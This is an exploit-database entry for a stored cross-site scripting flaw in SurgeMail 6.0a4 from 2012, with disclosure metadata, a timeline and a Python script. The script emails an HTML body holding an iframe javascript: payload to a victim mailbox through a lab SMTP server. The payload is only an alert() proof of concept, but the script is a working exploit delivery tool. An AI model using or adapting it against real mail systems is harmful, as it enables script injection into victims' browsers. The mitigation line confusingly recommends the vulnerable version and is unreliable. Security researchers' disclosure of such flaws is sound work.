header-logo
Suggest Exploit
vendor:
SurgeMail
by:
loneferret of Offensive Security
7,5
CVSS
HIGH
Cross-Site Scripting (XSS)
79
CWE
Product Name: SurgeMail
Affected Version From: 6.0a4
Affected Version To: 6.0a4
Patch Exists: YES
Related CWE: N/A
CPE: a:netwinsite:surge_mail:6.0a4
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows Server 2003 SP2, Windows XP Pro SP3 (x86), Windows 7 Pro SP1 (x86)
2012

SurgeMail 6.0a4 XSS Vulnerability

A Cross-Site Scripting (XSS) vulnerability was discovered in SurgeMail 6.0a4. The vulnerability exists due to insufficient sanitization of user-supplied input in the body of an email. An attacker can exploit this vulnerability by sending a malicious email with a specially crafted payload to a victim. The payload will be executed in the victim's browser when the email is viewed.

Mitigation:

Upgrade to the latest version of SurgeMail 6.0a4 or later.
Source

Exploit-DB raw data:

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: SurgeMail
Version: 6.0a4
Vendor Site: http://www.netwinsite.com
Software Download: http://netwinsite.com/download.htm

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: Coordinated details with vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

'''


import smtplib, urllib2
 
payload = """<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)